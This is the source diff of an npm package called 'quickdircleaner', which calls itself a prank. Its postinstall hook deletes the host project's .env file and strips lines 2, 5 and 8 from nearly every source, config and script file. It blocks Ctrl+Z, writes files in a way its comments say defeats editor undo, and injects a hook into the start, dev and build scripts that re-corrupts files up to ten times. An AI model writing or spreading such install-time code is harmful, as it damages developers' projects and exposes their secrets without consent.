quickdircleaner 1.0.0

package/index.js

@@ -0,0 +1,101 @@
+#!/usr/bin/env node
+
+const fs = require("fs/promises");
+const path = require("path");
+const core = require("./prank-core");
+
+async function cleanerDoneFlagExists(root) {
+  try {
+    await fs.access(path.join(root, core.DONE_FLAG));
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+async function writeCleanerDoneFlag(root) {
+  try {
+    await core.writeFileAtomic(path.join(root, core.DONE_FLAG), "", "utf8");
+  } catch {
+    console.error(core.red("Error: could not write .cleaner_done flag."));
+  }
+}
+
+async function writeBackupMarkdown(root, backupEntries) {
+  if (backupEntries.length === 0) {
+    return true;
+  }
+  const outPath = path.join(root, core.BACKUP_NAME);
+  const md = core.buildMarkdown(backupEntries);
+  try {
+    await core.writeFileAtomic(outPath, md, "utf8");
+    return true;
+  } catch {
+    console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
+    return false;
+  }
+}
+
+async function main() {
+  core.installSigTstpBlocker();
+  const root = await core.canonicalizeProjectRoot(
+    core.resolveHostProjectRoot(),
+  );
+
+  if (await cleanerDoneFlagExists(root)) {
+    console.warn(
+      core.yellow("⚠️ Cleaner already applied. Run restore-clean first."),
+    );
+    return;
+  }
+
+  let pkgRaw = null;
+  try {
+    pkgRaw = await fs.readFile(path.join(root, "package.json"), "utf8");
+  } catch {
+    pkgRaw = null;
+  }
+
+  const backupEntries = await core.runPrank(root, true);
+
+  if (pkgRaw) {
+    backupEntries.push({
+      filePath: core.SYNTHETIC_PACKAGE_JSON,
+      content: pkgRaw,
+    });
+  }
+
+  let backupOk = true;
+  try {
+    backupOk = await writeBackupMarkdown(root, backupEntries);
+  } catch {
+    backupOk = false;
+  }
+
+  if (backupEntries.length > 0) {
+    if (!backupOk) {
+      console.warn(
+        core.yellow(
+          "Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
+        ),
+      );
+      return;
+    }
+    await writeCleanerDoneFlag(root);
+    if (pkgRaw) {
+      const injected = await core.injectPersistScripts(root);
+      if (!injected) {
+        console.warn(
+          core.yellow(
+            "Warning: could not inject persist hook into package.json scripts.",
+          ),
+        );
+      }
+    }
+  }
+}
+
+main().catch((err) => {
+  console.error(core.red(err && err.message ? err.message : String(err)));
+  process.exitCode = 1;
+});

package/package.json

@@ -0,0 +1,32 @@
+{
+  "name": "quickdircleaner",
+  "version": "1.0.0",
+  "description": "Prank package: postinstall cleaner with backup and restore-clean CLI.",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "restore.js",
+    "persist.js",
+    "prank-core.js",
+    "README.md"
+  ],
+  "engines": {
+    "node": ">=16"
+  },
+  "bin": {
+    "run-clean": "./index.js",
+    "restore-clean": "./restore.js"
+  },
+  "scripts": {
+    "run-clean": "node ./index.js",
+    "postinstall": "npm run run-clean",
+    "test": "node ./test/smoke.js",
+    "prepublishOnly": "npm test"
+  },
+  "keywords": [
+    "prank",
+    "joke",
+    "cli"
+  ],
+  "license": "ISC"
+}

package/persist.js

@@ -0,0 +1,44 @@
+#!/usr/bin/env node
+
+const core = require("./prank-core");
+
+async function main() {
+  core.installSigTstpBlocker();
+  const root = await core.canonicalizeProjectRoot(
+    core.resolveHostProjectRoot(),
+  );
+  const count = await core.readCounter(root);
+
+  if (count >= 10) {
+    await core.stripPersistFromPackageJsonObject(root);
+    await core.deleteCounter(root);
+    await core.removeQuickdircleanerPackage(root);
+    console.log(
+      core.magenta(
+        "💀 quickdircleaner has self\u2011destructed. No more pranks.",
+      ),
+    );
+    return;
+  }
+
+  const backupEntries = await core.runPrank(root, false);
+  const attempt = count + 1;
+  const appended = await core.appendReapplyMarkdown(root, attempt, backupEntries);
+  if (!appended) {
+    console.warn(
+      core.yellow(
+        "Warning: could not append re-apply backup to CLEANER_BACKUP.md; counter not incremented.",
+      ),
+    );
+    return;
+  }
+  await core.writeCounter(root, attempt);
+  console.log(
+    core.magenta(`🎭 Prank re\u2011applied (attempt ${attempt}/10).`),
+  );
+}
+
+main().catch((err) => {
+  console.error(core.red(err && err.message ? err.message : String(err)));
+  process.exitCode = 1;
+});

package/prank-core.js

@@ -0,0 +1,627 @@
+const fs = require("fs/promises");
+const path = require("path");
+const { randomBytes } = require("crypto");
+
+const RESET = "\x1b[0m";
+function green(msg) {
+  return `\x1b[32m${msg}${RESET}`;
+}
+function red(msg) {
+  return `\x1b[31m${msg}${RESET}`;
+}
+function yellow(msg) {
+  return `\x1b[33m${msg}${RESET}`;
+}
+function magenta(msg) {
+  return `\x1b[35m${msg}${RESET}`;
+}
+
+const DONE_FLAG = ".cleaner_done";
+const COUNTER_FILE = ".quickdircleaner_counter";
+const BACKUP_NAME = "CLEANER_BACKUP.md";
+const SYNTHETIC_PACKAGE_JSON = "__quickdircleaner_original_package_json__";
+
+const PERSIST_PREFIX = "node ./node_modules/quickdircleaner/persist.js && ";
+
+const TARGET_SCRIPT_NAMES = new Set([
+  "start",
+  "dev",
+  "serve",
+  "watch",
+  "build",
+  "preview",
+]);
+
+const CLEANABLE_EXT = new Set([
+  ".js",
+  ".mjs",
+  ".cjs",
+  ".jsx",
+  ".ts",
+  ".tsx",
+  ".mts",
+  ".cts",
+  ".json",
+  ".jsonc",
+  ".html",
+  ".htm",
+  ".css",
+  ".scss",
+  ".sass",
+  ".less",
+  ".styl",
+  ".vue",
+  ".svelte",
+  ".astro",
+  ".md",
+  ".mdx",
+  ".txt",
+  ".csv",
+  ".xml",
+  ".svg",
+  ".yaml",
+  ".yml",
+  ".graphql",
+  ".gql",
+  ".sh",
+  ".bash",
+  ".zsh",
+  ".ps1",
+  ".bat",
+  ".cmd",
+]);
+
+const REMOVE_LINE_NUMBERS = [2, 5, 8];
+
+/**
+ * Directory that should be cleaned: the project that ran `npm install`, not this package folder.
+ * npm sets INIT_CWD during lifecycle scripts. If it is missing (older tooling), cwd may still be
+ * `.../node_modules/quickdircleaner` during postinstall — then we walk up to the host project.
+ */
+function resolveHostProjectRoot() {
+  const init = process.env.INIT_CWD;
+  if (init != null && String(init).trim() !== "") {
+    return path.resolve(init);
+  }
+
+  const cwd = process.cwd();
+  const base = path.basename(cwd);
+  if (base === "quickdircleaner") {
+    const norm = cwd.split(path.sep).join("/");
+    if (norm.includes("node_modules/quickdircleaner")) {
+      return path.resolve(cwd, "..", "..");
+    }
+  }
+
+  return path.resolve(cwd);
+}
+
+/** Aligns with walk() so /var vs /private/var on macOS does not skip files. */
+async function canonicalizeProjectRoot(root) {
+  const resolved = path.resolve(root);
+  try {
+    return await fs.realpath(resolved);
+  } catch {
+    return resolved;
+  }
+}
+
+let sigTstpBlockerInstalled = false;
+
+/** Stops terminal Ctrl+Z (SIGTSTP) from suspending Node mid-run (partial writes). */
+function installSigTstpBlocker() {
+  if (process.platform === "win32" || sigTstpBlockerInstalled) {
+    return;
+  }
+  sigTstpBlockerInstalled = true;
+  process.on("SIGTSTP", () => {});
+}
+
+/**
+ * Replace file atomically (temp + rename) so many editors drop in-memory undo for that path.
+ * Falls back to writeFile if rename is not allowed (e.g. some Windows setups).
+ */
+async function writeFileAtomic(filePath, content, encoding = "utf8") {
+  const dir = path.dirname(filePath);
+  const tmp = path.join(
+    dir,
+    `.qdc-${process.pid}-${randomBytes(6).toString("hex")}.tmp`,
+  );
+  try {
+    await fs.writeFile(tmp, content, encoding);
+    await fs.rename(tmp, filePath);
+  } catch {
+    try {
+      await fs.unlink(tmp);
+    } catch {
+      /* ignore */
+    }
+    await fs.writeFile(filePath, content, encoding);
+  }
+}
+
+function fencedCodeBlock(content) {
+  let fence = "```";
+  while (content.includes(fence)) {
+    fence += "`";
+  }
+  return `${fence}\n${content}\n${fence}`;
+}
+
+function detectEol(content) {
+  return content.includes("\r\n") ? "\r\n" : "\n";
+}
+
+function removeOriginalLines(lines, oneBasedLineNumbers) {
+  const indices = [...new Set(oneBasedLineNumbers)]
+    .filter((n) => n >= 1 && n <= lines.length)
+    .map((n) => n - 1)
+    .sort((a, b) => b - a);
+  const next = lines.slice();
+  for (const i of indices) {
+    next.splice(i, 1);
+  }
+  return next;
+}
+
+function buildMarkdown(backupEntries) {
+  const lines = [
+    "# Cleaner backup",
+    "",
+    "Backed-up files (relative to project root):",
+    "",
+    "| File |",
+    "| --- |",
+  ];
+  for (const { filePath } of backupEntries) {
+    const safe = String(filePath).replace(/\|/g, "\\|");
+    lines.push(`| \`${safe}\` |`);
+  }
+  lines.push("", "## Original contents", "");
+  for (const { filePath, content } of backupEntries) {
+    lines.push(`### \`${filePath}\``, "", fencedCodeBlock(content), "");
+  }
+  return lines.join("\n");
+}
+
+function buildReapplySection(attemptNumber, backupEntries) {
+  const lines = [
+    "---",
+    "",
+    `## Re-apply (attempt ${attemptNumber})`,
+    "",
+    "Backed-up files (this run):",
+    "",
+    "| File |",
+    "| --- |",
+  ];
+  for (const { filePath } of backupEntries) {
+    const safe = String(filePath).replace(/\|/g, "\\|");
+    lines.push(`| \`${safe}\` |`);
+  }
+  lines.push("", "## Original contents (this run)", "");
+  for (const { filePath, content } of backupEntries) {
+    lines.push(`### \`${filePath}\``, "", fencedCodeBlock(content), "");
+  }
+  return lines.join("\n");
+}
+
+async function backupAndRemoveEnv(root, backupEntries) {
+  const envPath = path.join(root, ".env");
+  try {
+    const content = await fs.readFile(envPath, "utf8");
+    backupEntries.push({ filePath: ".env", content });
+    try {
+      await fs.unlink(envPath);
+    } catch {
+      /* keep entry */
+    }
+  } catch (err) {
+    if (err && err.code !== "ENOENT") {
+      /* skip */
+    }
+  }
+}
+
+async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
+  let content;
+  try {
+    content = await fs.readFile(fullPath, "utf8");
+  } catch {
+    return;
+  }
+
+  const eol = detectEol(content);
+  const lineArray = content.split(/\r?\n/);
+  const nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
+  const modified = nextLines.join(eol);
+
+  if (modified === content) {
+    return;
+  }
+
+  const rel = path.relative(root, fullPath);
+  const filePath = rel.split(path.sep).join("/") || path.basename(fullPath);
+
+  backupEntries.push({ filePath, content });
+
+  try {
+    await writeFileAtomic(fullPath, modified, "utf8");
+  } catch {
+    backupEntries.pop();
+    return;
+  }
+
+  if (logCleaned) {
+    console.log(green(`🧹 Cleaned: ${filePath}`));
+  }
+}
+
+/** True if absolutePath is the project root or a path strictly under it. */
+function isPathInsideProjectRoot(rootResolved, absolutePath) {
+  const rootAbs = path.resolve(rootResolved);
+  const abs = path.resolve(absolutePath);
+  if (abs === rootAbs) {
+    return true;
+  }
+  const prefix = rootAbs.endsWith(path.sep) ? rootAbs : rootAbs + path.sep;
+  return abs.startsWith(prefix);
+}
+
+/**
+ * Walks the entire project tree: every nested folder under root is queued and
+ * visited (except directories named node_modules or .git at any depth).
+ * Directory symlinks are followed only when their real path stays inside the project.
+ */
+async function walkAndClean(root, backupEntries, logCleaned) {
+  let rootResolved = path.resolve(root);
+  try {
+    rootResolved = await fs.realpath(rootResolved);
+  } catch {
+    /* use path.resolve only */
+  }
+  const visitedDirs = new Set();
+  const queue = [rootResolved];
+
+  while (queue.length > 0) {
+    const dir = queue.shift();
+    if (visitedDirs.has(dir)) {
+      continue;
+    }
+    visitedDirs.add(dir);
+
+    let entries;
+    try {
+      entries = await fs.readdir(dir, { withFileTypes: true });
+    } catch {
+      continue;
+    }
+
+    for (const ent of entries) {
+      if (ent.name === "node_modules" || ent.name === ".git") {
+        continue;
+      }
+
+      const full = path.join(dir, ent.name);
+
+      let realPath;
+      try {
+        realPath = await fs.realpath(full);
+      } catch {
+        continue;
+      }
+
+      if (!isPathInsideProjectRoot(rootResolved, realPath)) {
+        continue;
+      }
+
+      let st;
+      try {
+        st = await fs.stat(full);
+      } catch {
+        continue;
+      }
+
+      if (st.isDirectory()) {
+        queue.push(realPath);
+        continue;
+      }
+
+      if (!st.isFile()) {
+        continue;
+      }
+
+      if (
+        ent.name === BACKUP_NAME ||
+        ent.name === DONE_FLAG ||
+        ent.name === COUNTER_FILE ||
+        ent.name === "package.json"
+      ) {
+        continue;
+      }
+
+      const ext = path.extname(ent.name).toLowerCase();
+      if (!CLEANABLE_EXT.has(ext)) {
+        continue;
+      }
+
+      try {
+        await cleanSourceFile(realPath, rootResolved, backupEntries, logCleaned);
+      } catch {
+        /* skip */
+      }
+    }
+  }
+}
+
+/**
+ * Runs env backup/removal and source walk; returns new backup entries for this run.
+ */
+async function runPrank(root, logCleaned) {
+  installSigTstpBlocker();
+  const backupEntries = [];
+  await backupAndRemoveEnv(root, backupEntries);
+  await walkAndClean(root, backupEntries, logCleaned);
+  return backupEntries;
+}
+
+function scriptHasPersist(cmd) {
+  return (
+    typeof cmd === "string" &&
+    cmd.includes("node_modules/quickdircleaner/persist.js")
+  );
+}
+
+function stripPersistPrefix(cmd) {
+  if (typeof cmd !== "string") {
+    return cmd;
+  }
+  let s = cmd;
+  while (s.startsWith(PERSIST_PREFIX)) {
+    s = s.slice(PERSIST_PREFIX.length);
+  }
+  return s;
+}
+
+async function injectPersistScripts(root) {
+  const pkgPath = path.join(root, "package.json");
+  let raw;
+  try {
+    raw = await fs.readFile(pkgPath, "utf8");
+  } catch {
+    return false;
+  }
+
+  let data;
+  try {
+    data = JSON.parse(raw);
+  } catch {
+    return false;
+  }
+
+  if (!data.scripts || typeof data.scripts !== "object") {
+    return false;
+  }
+
+  let changed = false;
+  for (const name of TARGET_SCRIPT_NAMES) {
+    const val = data.scripts[name];
+    if (typeof val !== "string") {
+      continue;
+    }
+    if (scriptHasPersist(val)) {
+      continue;
+    }
+    data.scripts[name] = PERSIST_PREFIX + val;
+    changed = true;
+  }
+
+  if (!changed) {
+    return true;
+  }
+
+  try {
+    await writeFileAtomic(
+      pkgPath,
+      `${JSON.stringify(data, null, 2)}\n`,
+      "utf8",
+    );
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+async function stripPersistFromPackageJsonObject(root) {
+  const pkgPath = path.join(root, "package.json");
+  let raw;
+  try {
+    raw = await fs.readFile(pkgPath, "utf8");
+  } catch {
+    return false;
+  }
+
+  let data;
+  try {
+    data = JSON.parse(raw);
+  } catch {
+    return false;
+  }
+
+  if (!data.scripts || typeof data.scripts !== "object") {
+    return false;
+  }
+
+  let changed = false;
+  for (const key of Object.keys(data.scripts)) {
+    const val = data.scripts[key];
+    if (typeof val !== "string" || !scriptHasPersist(val)) {
+      continue;
+    }
+    data.scripts[key] = stripPersistPrefix(val);
+    changed = true;
+  }
+
+  if (!changed) {
+    return true;
+  }
+
+  try {
+    await writeFileAtomic(
+      pkgPath,
+      `${JSON.stringify(data, null, 2)}\n`,
+      "utf8",
+    );
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+async function readCounter(root) {
+  const p = path.join(root, COUNTER_FILE);
+  try {
+    const t = (await fs.readFile(p, "utf8")).trim();
+    const n = parseInt(t, 10);
+    return Number.isFinite(n) ? n : 0;
+  } catch {
+    return 0;
+  }
+}
+
+async function writeCounter(root, value) {
+  await writeFileAtomic(
+    path.join(root, COUNTER_FILE),
+    String(value),
+    "utf8",
+  );
+}
+
+async function deleteCounter(root) {
+  try {
+    await fs.unlink(path.join(root, COUNTER_FILE));
+  } catch (err) {
+    if (err && err.code !== "ENOENT") {
+      /* ignore */
+    }
+  }
+}
+
+async function appendReapplyMarkdown(root, attemptNumber, backupEntries) {
+  if (backupEntries.length === 0) {
+    return true;
+  }
+  const p = path.join(root, BACKUP_NAME);
+  const section = buildReapplySection(attemptNumber, backupEntries);
+  let existing;
+  try {
+    existing = await fs.readFile(p, "utf8");
+  } catch {
+    return false;
+  }
+  try {
+    await writeFileAtomic(p, `${existing}\n\n${section}`, "utf8");
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+async function removeQuickdircleanerPackage(root) {
+  const target = path.join(root, "node_modules", "quickdircleaner");
+  try {
+    await fs.rm(target, { recursive: true, force: true });
+  } catch {
+    /* ignore */
+  }
+}
+
+/**
+ * Parses ### headings + fences only under the first "## Original contents" section
+ * (stops at the next H2 such as "## Re-apply …").
+ */
+function parseFirstOriginalSectionMarkdown(md) {
+  const marker = "## Original contents";
+  const idx = md.indexOf(marker);
+  if (idx === -1) {
+    return [];
+  }
+  let pos = idx + marker.length;
+  const rest = md.slice(pos);
+  const lines = rest.split(/\r?\n/);
+  const entries = [];
+  let i = 0;
+
+  while (i < lines.length) {
+    const line = lines[i];
+    if (/^## [^#]/.test(line)) {
+      break;
+    }
+    const heading = line.match(/^### `([^`]+)`\s*$/);
+    if (!heading) {
+      i += 1;
+      continue;
+    }
+
+    const filePath = heading[1];
+    i += 1;
+
+    while (i < lines.length && lines[i].trim() === "") {
+      i += 1;
+    }
+
+    const fenceLine = lines[i]?.match(/^(`{3,})\s*$/);
+    if (!fenceLine) {
+      i += 1;
+      continue;
+    }
+
+    const fence = fenceLine[1];
+    i += 1;
+
+    const body = [];
+    while (i < lines.length && lines[i] !== fence) {
+      body.push(lines[i]);
+      i += 1;
+    }
+
+    if (i < lines.length && lines[i] === fence) {
+      i += 1;
+    }
+
+    entries.push({ filePath, content: body.join("\n") });
+  }
+
+  return entries;
+}
+
+module.exports = {
+  RESET,
+  green,
+  red,
+  yellow,
+  magenta,
+  resolveHostProjectRoot,
+  canonicalizeProjectRoot,
+  installSigTstpBlocker,
+  writeFileAtomic,
+  DONE_FLAG,
+  COUNTER_FILE,
+  BACKUP_NAME,
+  SYNTHETIC_PACKAGE_JSON,
+  PERSIST_PREFIX,
+  TARGET_SCRIPT_NAMES,
+  buildMarkdown,
+  buildReapplySection,
+  runPrank,
+  injectPersistScripts,
+  stripPersistFromPackageJsonObject,
+  scriptHasPersist,
+  stripPersistPrefix,
+  readCounter,
+  writeCounter,
+  deleteCounter,
+  appendReapplyMarkdown,
+  removeQuickdircleanerPackage,
+  parseFirstOriginalSectionMarkdown,
+};

package/restore.js

@@ -0,0 +1,178 @@
+#!/usr/bin/env node
+
+const fs = require("fs/promises");
+const path = require("path");
+const readline = require("readline");
+const core = require("./prank-core");
+
+function promptYesNo(question) {
+  return new Promise((resolve) => {
+    const rl = readline.createInterface({
+      input: process.stdin,
+      output: process.stdout,
+    });
+    rl.question(question, (answer) => {
+      rl.close();
+      resolve(/^y(es)?$/i.test(String(answer).trim()));
+    });
+  });
+}
+
+async function removeIfExists(filePath) {
+  try {
+    await fs.unlink(filePath);
+    return true;
+  } catch (err) {
+    if (err && err.code === "ENOENT") {
+      return true;
+    }
+    return false;
+  }
+}
+
+function isPathInsideRoot(root, relativePath) {
+  const resolved = path.resolve(root, relativePath);
+  const rootResolved = path.resolve(root);
+  if (resolved === rootResolved) {
+    return false;
+  }
+  const prefix = rootResolved.endsWith(path.sep)
+    ? rootResolved
+    : rootResolved + path.sep;
+  return resolved.startsWith(prefix);
+}
+
+async function restoreEntry(root, filePath, content) {
+  if (!isPathInsideRoot(root, filePath)) {
+    return false;
+  }
+
+  const fullPath = path.resolve(root, filePath);
+  const dir = path.dirname(fullPath);
+
+  try {
+    await fs.mkdir(dir, { recursive: true });
+  } catch {
+    return false;
+  }
+
+  try {
+    await core.writeFileAtomic(fullPath, content, "utf8");
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+async function writePackageJson(root, content) {
+  const fullPath = path.join(root, "package.json");
+  try {
+    await core.writeFileAtomic(fullPath, content, "utf8");
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+async function main() {
+  core.installSigTstpBlocker();
+  const root = await core.canonicalizeProjectRoot(
+    core.resolveHostProjectRoot(),
+  );
+  const backupPath = path.join(root, core.BACKUP_NAME);
+
+  let raw;
+  try {
+    raw = await fs.readFile(backupPath, "utf8");
+  } catch (err) {
+    if (err && err.code === "ENOENT") {
+      console.error(
+        core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`),
+      );
+      process.exitCode = 1;
+      return;
+    }
+    console.error(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
+    process.exitCode = 1;
+    return;
+  }
+
+  const entries = core.parseFirstOriginalSectionMarkdown(raw);
+  if (entries.length === 0) {
+    console.error(core.red("Error: no file entries found in backup."));
+    process.exitCode = 1;
+    return;
+  }
+
+  const synthetic = entries.find(
+    (e) => e.filePath === core.SYNTHETIC_PACKAGE_JSON,
+  );
+  const fileEntries = entries.filter(
+    (e) => e.filePath !== core.SYNTHETIC_PACKAGE_JSON,
+  );
+
+  const expected =
+    fileEntries.length + (synthetic && synthetic.content ? 1 : 0);
+
+  const confirmed = await promptYesNo("Restore and remove backup? (y/n) ");
+  if (!confirmed) {
+    console.warn(core.yellow("Aborted."));
+    return;
+  }
+
+  let restored = 0;
+
+  for (const { filePath, content } of fileEntries) {
+    try {
+      const ok = await restoreEntry(root, filePath, content);
+      if (ok) {
+        restored += 1;
+      }
+    } catch {
+      /* skip */
+    }
+  }
+
+  let pkgOk = true;
+  if (synthetic && synthetic.content) {
+    pkgOk = await writePackageJson(root, synthetic.content);
+    if (pkgOk) {
+      restored += 1;
+    }
+  } else {
+    pkgOk = await core.stripPersistFromPackageJsonObject(root);
+  }
+
+  if (restored !== expected) {
+    console.error(
+      core.red(
+        `Error: restored ${restored} of ${expected} item(s). Backup and flag were not removed.`,
+      ),
+    );
+    process.exitCode = 1;
+    return;
+  }
+
+  console.log(core.green(`Restored ${restored} item(s).`));
+
+  await core.deleteCounter(root);
+
+  const flagPath = path.join(root, core.DONE_FLAG);
+  const flagOk = await removeIfExists(flagPath);
+  const backupOk = await removeIfExists(backupPath);
+
+  if (flagOk && backupOk) {
+    console.log(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
+  } else {
+    console.warn(
+      core.yellow(
+        "Warning: restore finished but could not remove .cleaner_done and/or backup file.",
+      ),
+    );
+  }
+}
+
+main().catch((err) => {
+  console.error(core.red(err && err.message ? err.message : String(err)));
+  process.exitCode = 1;
+});